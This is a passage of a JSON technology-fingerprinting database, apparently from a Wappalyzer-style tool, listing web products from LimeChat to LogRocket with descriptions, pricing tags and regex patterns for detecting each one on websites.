\"icon\": \"LimeChat.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.limechat\\\\.ai/\"\n    ],\n    \"website\": \"https://www.limechat.ai\"\n  },\n  \"LimeSpot\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"LimeSpot is an AI-powered personalisation platform for marketers and ecommerce professionals.\",\n    \"icon\": \"LimeSpot.svg\",\n    \"js\": {\n      \"LimeSpot.CartItems\": \"\",\n      \"LimeSpot.Recommendations\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.personalizer\\\\.io/\"\n    ],\n    \"website\": \"https://www.limespot.com\"\n  },\n  \"Limecall\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Limecall is a software platform that facilitates instant callback requests and manages call scheduling to enhance customer engagement and lead generation processes.\",\n    \"dom\": [\n      \"script[data-api-url*='app.limecall.com']\"\n    ],\n    \"icon\": \"Limecall.svg\",\n    \"js\": {\n      \"limeCallClient\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.limecall\\\\.com/\"\n    ],\n    \"website\": \"https://limecall.com\"\n  },\n  \"Limepay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Limepay is a buy now, pay later platform that's fully integrated with the merchant's payment platform.\",\n    \"icon\": \"Limepay.svg\",\n    \"js\": {\n      \"LimepayIdentity\": \"\",\n      \"wc_ga_pro.available_gateways.limepay\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/Limepay-v\\\\d+/\",\n      \"/limepay-installment-show\\\\.js\"\n    ],\n    \"website\": \"https://www.limepay.com.au\"\n  },\n  \"Limit Login Attempts Reloaded\": {\n    \"cats\": [\n      87,\n      16\n    ],\n    \"description\": \"Limit Login Attempts Reloaded stops brute-force attacks and optimizes your site performance by limiting the number of login attempts that are possible through the normal login as well as XMLRPC, Woocommerce and custom login pages.\",\n    \"dom\": [\n      \"link#llar-login-page-styles-css\"\n    ],\n    \"icon\": \"Limit Login Attempts Reloaded.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.limitloginattempts.com\"\n  },\n  \"Linda\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Linda is a provider of local marketing software designed for businesses to enhance online marketing, generate leads, and increase revenue.\",\n    \"icon\": \"Linda.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"gb-widget\\\\.linda\\\\.co\"\n    ],\n    \"website\": \"https://linda.co\"\n  },\n  \"Linen\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Linen is a real-time chat platform built for communities.\",\n    \"icon\": \"Linen.svg\",\n    \"implies\": [\n      \"TypeScript\",\n      \"Elixir\"\n    ],\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.currentCommunity.logoUrl\": \"static\\\\.main\\\\.linendev\\\\.com/\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.linen.dev\"\n  },\n  \"Linguise\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"Linguise is an automatic translation service with a front-end translation editor.\",\n    \"dom\": [\n      \"script[type='linguise/json']\"\n    ],\n    \"icon\": \"Linguise.svg\",\n    \"js\": {\n      \"linguise_configs\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/modules/mod_linguise/assets/\"\n    ],\n    \"website\": \"https://www.linguise.com\"\n  },\n  \"LinkMink\": {\n    \"cats\": [\n      10,\n      71\n    ],\n    \"description\": \"LinkMink is an affiliate tracking and management for SaaS companies.\",\n    \"icon\": \"LinkMink.svg\",\n    \"js\": {\n      \"LinkMink\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.linkmink\\\\.com/lm-js/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://linkmink.com\"\n  },\n  \"Linkedin Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Linkedin Ads is a paid marketing tool that offers access to Linkedin social networks through various sponsored posts and other methods.\",\n    \"dom\": {\n      \"img[src*='dc.ads.linkedin.com']\": {\n        \"attributes\": {\n          \"src\": \"dc\\\\.ads\\\\.linkedin\\\\.com\"\n        }\n      },\n      \"link[href*='px.ads.linkedin.com']\": {\n        \"attributes\": {\n          \"href\": \"px\\\\.ads\\\\.linkedin\\\\.com\"\n        }\n      }\n    },\n    \"headers\": {\n      \"Content-Security-Policy\": \"px\\\\.ads\\\\.linkedin\\\\.com\"\n    },\n    \"html\": [\n      \"<img [^>]*src=\\\"[^/]*//[^/]*px\\\\.ads\\\\.linkedin\\\\.com\"\n    ],\n    \"icon\": \"Linkedin.svg\",\n    \"website\": \"https://business.linkedin.com/marketing-solutions/ads\"\n  },\n  \"Linkedin Insight Tag\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LinkedIn Insight Tag is a lightweight JavaScript tag that powers conversion tracking, website audiences, and website demographics.\",\n    \"icon\": \"Linkedin.svg\",\n    \"js\": {\n      \"ORIBI\": \"\",\n      \"_linkedin_data_partner_id\": \"\",\n      \"_linkedin_partner_id\": \"\"\n    },\n    \"scriptSrc\": [\n      \"snap\\\\.licdn\\\\.com/li\\\\.lms-analytics/insight\\\\.min\\\\.js\",\n      \"cdn\\\\.oribi\\\\.io\"\n    ],\n    \"scripts\": [\n      \"_linkedin_partner_id\"\n    ],\n    \"website\": \"https://business.linkedin.com/marketing-solutions/insight-tag\"\n  },\n  \"Linkedin Sign-in\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Linkedin Sign-In is an authentication system that reduces the burden of login for users, by enabling them to sign in with their Linkedin account.\",\n    \"icon\": \"Linkedin.svg\",\n    \"js\": {\n      \"OnLinkedInAuth\": \"\",\n      \"onLinkedInLoad\": \"\"\n    },\n    \"scriptSrc\": [\n      \"platform\\\\.linkedin\\\\.com/(?:.*)?in\\\\.js(?:\\\\?version)?([\\\\d.]+)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.linkedin.com/developers\"\n  },\n  \"Linx Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Linx Commerce is an ecommerce platform, which provides seamless and personalised cross-channel solution that enables a true omni-channel shopping experience.\",\n    \"icon\": \"Linx.svg\",\n    \"js\": {\n      \"EzGaCfg.Config.Store\": \"\",\n      \"EzGaCfg.Shopper\": \"\",\n      \"linxImpulse.config.integrationFlags.platformProvider\": \"linxCommerce\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.linx.com.br/linx-commerce\"\n  },\n  \"Linx Impulse\": {\n    \"cats\": [\n      77,\n      76\n    ],\n    \"description\": \"Linx Impulse is a personalisation, media and retargeting solutions built by Linx.\",\n    \"dom\": [\n      \"link[href*='.linximpulse.net']\"\n    ],\n    \"icon\": \"Linx.svg\",\n    \"js\": {\n      \"linx.banner\": \"\",\n      \"linxImpulse.config\": \"\",\n      \"linxImpulseInitialized\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.linx.com.br/linx-impulse\"\n  },\n  \"LipScore\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"LipScore is a ratings and reviews engine.\",\n    \"icon\": \"LipScore.svg\",\n    \"js\": {\n      \"LipscoreSwiper\": \"\",\n      \"wcLipscoreInit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lipscore\\\\.com/\"\n    ],\n    \"website\": \"https://lipscore.com\"\n  },\n  \"Liquid Web\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"Liquid Web is a US-based host offering premium managed web hosting solutions.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.liquidweb\\\\.com\"\n    },\n    \"headers\": {\n      \"x-lw-cache\": \"\"\n    },\n    \"icon\": \"Liquid Web.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.liquidweb.com\"\n  },\n  \"List.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"List.js is a small, fast JavaScript library that adds search, sort, and filter functionalities to plain HTML lists, tables, or other elements without requiring any dependencies.\",\n    \"icon\": \"List.js.svg\",\n    \"js\": {\n      \"List\": \"\\\\;confidence:50\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"list\\\\.js/\\\\;confidence:50\",\n      \"@([\\\\d.]+)/(?:/dist)?list\\\\.(?:min\\\\.)?js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://listjs.com\"\n  },\n  \"Listrak\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"description\": \"Listrak is a AI-based marketing automation and CRM solutions that unify, interpret and personalise data to engage customer across channels and devices.\",\n    \"icon\": \"Listrak.svg\",\n    \"js\": {\n      \"_LTKSignup\": \"\",\n      \"_LTKSubscriber\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn|s1)\\\\.listrakbi\\\\.com\",\n      \"services\\\\.listrak\\\\.com\"\n    ],\n    \"website\": \"https://www.listrak.com\"\n  },\n  \"LiteSpeed\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:litespeedtech:litespeed_web_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"LiteSpeed is a high-scalability web server.\",\n    \"headers\": {\n      \"Server\": \"^LiteSpeed$\"\n    },\n    \"icon\": \"LiteSpeed.svg\",\n    \"website\": \"https://litespeedtech.com\"\n  },\n  \"LiteSpeed Cache\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"LiteSpeed Cache is an all-in-one site acceleration plugin for WordPress.\",\n    \"headers\": {\n      \"x-litespeed-cache\": \"\",\n      \"x-turbo-charged-by\": \"LiteSpeed\"\n    },\n    \"icon\": \"LiteSpeed.svg\",\n    \"implies\": [\n      \"LiteSpeed\"\n    ],\n    \"js\": {\n      \"litespeed_docref\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"wp-content/plugins/litespeed-cache/\"\n    ],\n    \"website\": \"https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration\"\n  },\n  \"Litespeed Cache\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"LiteSpeed Cache is an all-in-one site acceleration plugin for WordPress.\",\n    \"headers\": {\n      \"x-litespeed-cache\": \"\",\n      \"x-turbo-charged-by\": \"LiteSpeed\"\n    },\n    \"icon\": \"litespeed-cache.png\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/litespeed-cache/\"\n  },\n  \"Lithium\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"LithiumVisitor\": \"\"\n    },\n    \"html\": [\n      \" <a [^>]+Powered by Lithium\"\n    ],\n    \"icon\": \"Lithium.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"LITHIUM\": \"\"\n    },\n    \"website\": \"https://www.lithium.com\"\n  },\n  \"Litium\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Litium is a versatile ecommerce solution tailored for businesses aiming to enhance their online presence.\",\n    \"icon\": \"Litium.svg\",\n    \"meta\": {\n      \"generator\": \"^Litium$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.litium.com\"\n  },\n  \"Litmus\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Litmus is an Email Analytics tool that offers email designers advanced open and read statistics for their email campaigns.\",\n    \"dom\": [\n      \"img[src*='.emltrk.com/']\"\n    ],\n    \"icon\": \"Litmus.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://emltrk.com\"\n  },\n  \"Little Hotelier\": {\n    \"cats\": [\n      93\n    ],\n    \"cookies\": {\n      \"_littlehotelier_session\": \"\"\n    },\n    \"description\": \"Little Hotelier is an all-in-one property management solution designed for small accomodation businesses.\",\n    \"icon\": \"LittleHotelier.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.littlehotelier.com\"\n  },\n  \"Littledata\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Littledata provides a seamless connection between your Shopify site, marketing channels, and Google Analytics.\",\n    \"icon\": \"Littledata.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"LittledataLayer\": \"\",\n      \"LittledataLayer.version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.littledata.io\"\n  },\n  \"Live Story\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Live Story is a platform designed for creating interactive, visual stories and presentations, offering tools for integrating multimedia content and data to build engaging narratives for professional use.\",\n    \"icon\": \"LiveStory.svg\",\n    \"js\": {\n      \"LSHelpers\": \"\",\n      \"LiveStory\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.livestory.nyc\"\n  },\n  \"LiveAgent\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"LiveAgent is an online live chat platform. The software provides a ticket management system.\",\n    \"icon\": \"LiveAgent.svg\",\n    \"js\": {\n      \"LiveAgent\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.liveagent.com\"\n  },\n  \"LiveBy\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LiveBy is a home discovery system designed to provide users with detailed insights into properties, neighborhoods, and local amenities, enabling informed decision-making when selecting a new residence.\",\n    \"icon\": \"LiveBy.svg\",\n    \"js\": {\n      \"liveby.autoInitialize\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://liveby.com\"\n  },\n  \"LiveCanvas\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"LiveCanvas is a Bootstrap 5 WordPress page builder.\",\n    \"icon\": \"LiveCanvas.svg\",\n    \"implies\": [\n      \"Bootstrap\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/livecanvas/\"\n    ],\n    \"website\": \"https://livecanvas.com\"\n  },\n  \"LiveChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"LiveChat is an online customer service software with online chat, help desk software, and web analytics capabilities.\",\n    \"icon\": \"LiveChat.svg\",\n    \"js\": {\n      \"LiveChatWidget\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.livechatinc\\\\.com/.*tracking\\\\.js\"\n    ],\n    \"website\": \"https://www.livechat.com/\"\n  },\n  \"LiveEdit\": {\n    \"cats\": [\n      51,\n      96\n    ],\n    \"description\": \"LiveEdit is a platform that provides web design, copywriting, and other features for businesses in the health, fitness, wellness, and beauty sectors.\",\n    \"icon\": \"LiveEdit.svg\",\n    \"meta\": {\n      \"generator\": \"www\\\\.getLiveEdit\\\\.com\"\n    },\n    \"scriptSrc\": [\n      \"/js/([\\\\d\\\\.]+)/liveedit\\\\.base\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://liveeditplatform.com\"\n  },\n  \"LiveHelp\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"LiveHelp is an online chat tool.\",\n    \"icon\": \"LiveHelp.svg\",\n    \"js\": {\n      \"LHready\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.livehelp.it\"\n  },\n  \"LiveIntent\": {\n    \"cats\": [\n      75,\n      36\n    ],\n    \"description\": \"LiveIntent is an email ad monetization platform.\",\n    \"icon\": \"LiveIntent.svg\",\n    \"js\": {\n      \"LI.advertiserId\": \"\\\\d+\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.liadm\\\\.com\"\n    ],\n    \"website\": \"https://www.liveintent.com\",\n    \"xhr\": [\n      \"\\\\.liadm\\\\.com\"\n    ]\n  },\n  \"LiveJournal\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"LiveJournal is a social networking service where users can keep a blog, journal or diary.\",\n    \"icon\": \"LiveJournal.png\",\n    \"url\": [\n      \"\\\\.livejournal\\\\.com\"\n    ],\n    \"website\": \"https://www.livejournal.com\"\n  },\n  \"LivePerson\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"LivePerson is a tool for conversational chatbots and messaging.\",\n    \"icon\": \"LivePerson.svg\",\n    \"js\": {\n      \"lpTag.Chronos\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:liveperson|contactatonce)?\\\\.(?:com|net|co\\\\.uk)/\"\n    ],\n    \"website\": \"https://www.liveperson.com\"\n  },\n  \"LiveRamp DPM\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"LiveRamp DPM is a TV advertising metrics and analytics platform.\",\n    \"icon\": \"LiveRamp.svg\",\n    \"js\": {\n      \"dpmComscoreVars\": \"\"\n    },\n    \"scriptSrc\": [\n      \"c\\\\.tvpixel\\\\.com/js/current/dpm_pixel_min\\\\.js\"\n    ],\n    \"website\": \"https://liveramp.com/data-plus-math\"\n  },\n  \"LiveRamp PCM\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"LiveRamp PCM is a preference and consent management platform that enables comply with the ePrivacy Directive, GDPR, CCPA, and other data protection and privacy laws and regulations.\",\n    \"dom\": [\n      \"iframe[src*='gdpr-consent-tool\\\\.privacymanager\\\\.io']\"\n    ],\n    \"icon\": \"LiveRamp.svg\",\n    \"js\": {\n      \"wpJsonpLiverampGdprCmp\": \"\"\n    },\n    \"scriptSrc\": [\n      \"gdpr\\\\.privacymanager\\\\.io\"\n    ],\n    \"website\": \"https://liveramp.com/our-platform/preference-consent-management\"\n  },\n  \"LiveSession\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LiveSession helps increase conversion rates using session replays, and event-based product analytics.\",\n    \"icon\": \"LiveSession.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.livesession\\\\.io\"\n    ],\n    \"website\": \"https://livesession.io/\"\n  },\n  \"LiveStreet CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"LiveStreet CMS\"\n    },\n    \"icon\": \"LiveStreet CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"LIVESTREET_SECURITY_KEY\": \"\"\n    },\n    \"website\": \"https://livestreetcms.com\"\n  },\n  \"LiveTex\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"LiveTex is a universal chat platform that provides digital communication solutions, allowing businesses to interact with clients across various digital channels.\",\n    \"icon\": \"LiveTex.svg\",\n    \"js\": {\n      \"liveTex\": \"\",\n      \"liveTexID\": \"\",\n      \"liveTex_object\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://livetex.ru\"\n  },\n  \"LiveZilla\": {\n    \"cats\": [\n      52\n    ],\n    \"cpe\": \"cpe:2.3:a:livezilla:livezilla:*:*:*:*:*:*:*:*\",\n    \"description\": \"LiveZilla is a web-based live support platform.\",\n    \"dom\": [\n      \"#lz_overlay_chat\"\n    ],\n    \"icon\": \"LiveZilla.png\",\n    \"js\": {\n      \"lz_chat_execute\": \"\",\n      \"lz_code_id\": \"(?:[\\\\w\\\\d]+)\",\n      \"lz_tracking_set_widget_visibility\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"mid\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://www.livezilla.net\"\n  },\n  \"Livefyre\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Livefyre is a platform that integrates with the social web to boost social interaction.\",\n    \"html\": [\n      \"<[^>]+(?:id|class)=\\\"livefyre\"\n    ],\n    \"icon\": \"Livefyre.svg\",\n    \"js\": {\n      \"FyreLoader\": \"\",\n      \"L.version\": \"^(.+)$\\\\;confidence:0\\\\;version:\\\\1\",\n      \"LF.CommentCount\": \"\",\n      \"fyre\": \"\"\n    },\n    \"scriptSrc\": [\n      \"livefyre_init\\\\.js\"\n    ],\n    \"website\": \"https://livefyre.com\"\n  },\n  \"Liveinternet\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LiveInternet is a website analytics service that provides traffic statistics and performance rankings for various websites.\",\n    \"dom\": [\n      \"a[href*='/www.liveinternet.ru/click'][target='_blank']\"\n    ],\n    \"html\": [\n      \"<script [^>]*>[\\\\s\\\\S]*//counter\\\\.yadro\\\\.ru/hit\",\n      \"<!--LiveInternet counter-->\",\n      \"<!--/LiveInternet-->\",\n      \"<a href=\\\"http://www\\\\.liveinternet\\\\.ru/click\\\"\"\n    ],\n    \"icon\": \"Liveinternet.svg\",\n    \"website\": \"https://liveinternet.ru/rating/\"\n  },\n  \"Livescale\": {\n    \"cats\": [\n      100,\n      103\n    ],\n    \"description\": \"Livescale is a video platform that enables teams to transform content and ecommerce into a live shopping experience that reaches engages and monetizes audiences with LiveShopping.\",\n    \"icon\": \"Livescale.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.livescale\\\\.tv/\"\n    ],\n    \"website\": \"https://www.livescale.tv\"\n  },\n  \"Livewire\": {\n    \"cats\": [\n      18,\n      19\n    ],\n    \"description\": \"Livewire is a full-stack Laravel framework for building dynamic interfaces.\",\n    \"html\": [\n      \"<[^>]{1,512}\\\\bwire:\"\n    ],\n    \"icon\": \"Livewire.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"livewire\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"livewire(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://laravel-livewire.com\"\n  },\n  \"LlamaLink Cloud Server\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"LlamaLink Cloud Server is a custom dynamic web server based on Nginx Web server that load balance user traffic between hosting nodes and allows fast and cached experience to web and app users.\",\n    \"headers\": {\n      \"Serverversion\": \"^LlamaLink\"\n    },\n    \"icon\": \"LlamaLink.svg\",\n    \"implies\": [\n      \"Nginx\"\n    ],\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://llamalink.net\"\n  },\n  \"Loadable-Components\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Loadable-Components is a library to solve the React code-splitting client-side and server-side.\",\n    \"dom\": [\n      \"script#__LOADABLE_REQUIRED_CHUNKS__\"\n    ],\n    \"icon\": \"Loadable-Components.png\",\n    \"js\": {\n      \"__LOADABLE_LOADED_CHUNKS__\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/gregberge/loadable-components\"\n  },\n  \"Loadify\": {\n    \"cats\": [\n      92,\n      100\n    ],\n    \"description\": \"Loadify is a shopify app which helps merchants deploy performance techniques like loading screen, transitions & lazy Load.\",\n    \"icon\": \"Loadify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.loadifyapp\\\\.ninety9\\\\.dev\"\n    ],\n    \"website\": \"https://apps.shopify.com/loadify\"\n  },\n  \"LocalExpress\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"LocalExpress is an end-to-end ecommerce solution for food retailers and local express businesses.\",\n    \"icon\": \"LocalExpress.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.localexpress\\\\.io/\"\n    ],\n    \"website\": \"https://localexpress.io\"\n  },\n  \"LocalFocus\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"LocalFocus is a data visualization platform that allows users to create interactive maps, charts, and infographics from various data sources.\",\n    \"dom\": [\n      \"iframe[src*='//localfocus2.appspot.com/']\"\n    ],\n    \"html\": [\n      \"<iframe[^>]+\\\\blocalfocus\\\\b\"\n    ],\n    \"icon\": \"LocalFocus.svg\",\n    \"implies\": [\n      \"Angular\",\n      \"D3\"\n    ],\n    \"js\": {\n      \"LFlegacyManipulate\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.localfocus.nl/en/\"\n  },\n  \"Localised\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"Localised is local-first ecommerce platform.\",\n    \"dom\": {\n      \"img[src='.localised.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      },\n      \"span\": {\n        \"attributes\": {\n          \"text\": \".+Localised Inc\\\\..+\"\n        }\n      }\n    },\n    \"icon\": \"Localised.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.localised.com\",\n    \"xhr\": [\n      \"api\\\\.localised\\\\.com\"\n    ]\n  },\n  \"Locksmith\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Locksmith is a shopify app for adding access control capability on shopify stores.\",\n    \"icon\": \"Locksmith.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Locksmith\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/locksmith\"\n  },\n  \"Locomotive Scroll\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Locomotive Scroll is an opinionated JavaScript library that provides smooth scrolling animations and advanced scroll interactions for web applications.\",\n    \"icon\": \"Locomotive Scroll.png\",\n    \"implies\": [\n      \"Lenis\"\n    ],\n    \"js\": {\n      \"LocomotiveScroll\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"locomotive-scroll(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/locomotivemtl/locomotive-scroll\"\n  },\n  \"LocomotiveCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"LocomotiveCMS is a Ruby on Rails-based content management system (CMS) known for its flexibility and developer-friendly approach to building and managing websites.\",\n    \"html\": [\n      \"<link[^>]*/sites/[a-z\\\\d]{24}/theme/stylesheets\"\n    ],\n    \"icon\": \"LocomotiveCMS.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"MongoDB\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.locomotivecms.com\"\n  },\n  \"Lodash\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:lodash:lodash:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lodash is a JavaScript library which provides utility functions for common programming tasks using the functional programming paradigm.\",\n    \"excludes\": [\n      \"Underscore.js\"\n    ],\n    \"icon\": \"Lodash.svg\",\n    \"js\": {\n      \"_.VERSION\": \"^(.+)$\\\\;confidence:0\\\\;version:\\\\1\",\n      \"_.differenceBy\": \"\",\n      \"_.templateSettings.imports._.templateSettings.imports._.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"lodash.*\\\\.js\"\n    ],\n    \"website\": \"https://www.lodash.com\"\n  },\n  \"Lodel\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Lodel is a software designed to support editorial teams in producing academic electronic publications.\",\n    \"icon\": \"Lodel.svg\",\n    \"meta\": {\n      \"generator\": \"Lodel ([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"saas\": true,\n    \"website\": \"https://lodel.hypotheses.org\"\n  },\n  \"Lodgify\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Lodgify is a platform facilitating vacation rentals and bookings.\",\n    \"icon\": \"Lodgify.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"websites-static\\\\.lodgify\\\\.com/\"\n    ],\n    \"website\": \"https://www.lodgify.com\"\n  },\n  \"LogRocket\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LogRocket is a logging and session replay platform that helps developers identify and troubleshoot issues in web applications by recording and replaying user sessions, along with capturing logs and user interactions in real-time.\",\n    \"icon\": \"LogRocket.svg\",\n    \"js\": {\n      \"LogRocket._buffer\": 